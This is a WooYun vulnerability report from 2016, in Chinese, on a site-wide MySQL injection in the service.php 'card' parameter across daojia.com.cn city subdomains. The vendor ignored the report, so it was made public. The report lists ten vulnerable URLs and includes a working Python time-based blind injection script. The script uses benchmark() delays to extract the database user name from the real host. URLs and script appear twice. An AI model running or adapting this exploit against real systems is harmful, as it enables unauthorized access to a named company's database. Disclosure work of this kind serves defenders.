当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170228

漏洞标题:到家美食全站通用MySQL注射(附验证脚本)

相关厂商:daojia.com.cn

漏洞作者: _Thorns

提交时间:2016-01-16 09:50

修复时间:2016-01-21 10:00

公开时间:2016-01-21 10:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-16: 细节已通知厂商并且等待厂商处理中
2016-01-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

到家全站通用MySQL注射(附验证脚本)

详细说明:

http://shanghai.daojia.com.cn/service.php?action=1879048193&card=
http://beijing.daojia.com.cn/service.php?action=1879048193&card=
http://hangzhou.daojia.com.cn//service.php?action=1879048193&card=
http://suzhou.daojia.com.cn//service.php?action=1879048193&card=
http://nanjing.daojia.com.cn//service.php?action=1879048193&card=
http://guangzhou.daojia.com.cn//service.php?action=1879048193&card=
http://shenzhen.daojia.com.cn//service.php?action=1879048193&card=
http://wuxi.daojia.com.cn//service.php?action=1879048193&card=
http://tianjin.daojia.com.cn//service.php?action=1879048193&card=
http://changzhou.daojia.com.cn///service.php?action=1879048193&card=


涉及全站,
拿主站做测试

1.png


2.png


sqlmap可以跑,但是没办法获取数据。

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Cookie': 'PHPSESSID=khs7uf5bur5ed9rnas8kda4ei3; currentCity=6; SERVERID=2',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0)',
'Referer': 'http://daojia.com.cn'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 25):
for payload in payloads:
s = '/service.php?action=1879048193&card=if(ascii(mid(user()from(%s)for(1)))=%s,benchmark(2000000,md5(1)),0)' % (i, ord(payload))
conn = httplib.HTTPConnection('daojia.com.cn', timeout=30)
conn.request(method='GET',url=s, headers=headers)
t = time.time()
conn.getresponse().read()
conn.close()
print '.',
if time.time() - t > 1.5:
user += payload
print '\n[in progress]', user,
time.sleep(1.0)
break

print '\n[Done] MySQL user is %s' % user


3.png


漏洞证明:

http://shanghai.daojia.com.cn/service.php?action=1879048193&card=
http://beijing.daojia.com.cn/service.php?action=1879048193&card=
http://hangzhou.daojia.com.cn//service.php?action=1879048193&card=
http://suzhou.daojia.com.cn//service.php?action=1879048193&card=
http://nanjing.daojia.com.cn//service.php?action=1879048193&card=
http://guangzhou.daojia.com.cn//service.php?action=1879048193&card=
http://shenzhen.daojia.com.cn//service.php?action=1879048193&card=
http://wuxi.daojia.com.cn//service.php?action=1879048193&card=
http://tianjin.daojia.com.cn//service.php?action=1879048193&card=
http://changzhou.daojia.com.cn///service.php?action=1879048193&card=


涉及全站,
拿主站做测试

1.png


2.png


sqlmap可以跑,但是没办法获取数据。

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Cookie': 'PHPSESSID=khs7uf5bur5ed9rnas8kda4ei3; currentCity=6; SERVERID=2',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0)',
'Referer': 'http://daojia.com.cn'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 25):
for payload in payloads:
s = '/service.php?action=1879048193&card=if(ascii(mid(user()from(%s)for(1)))=%s,benchmark(2000000,md5(1)),0)' % (i, ord(payload))
conn = httplib.HTTPConnection('daojia.com.cn', timeout=30)
conn.request(method='GET',url=s, headers=headers)
t = time.time()
conn.getresponse().read()
conn.close()
print '.',
if time.time() - t > 1.5:
user += payload
print '\n[in progress]', user,
time.sleep(1.0)
break

print '\n[Done] MySQL user is %s' % user


3.png


修复方案:

版权声明:转载请注明来源 _Thorns@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-01-21 10:00

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无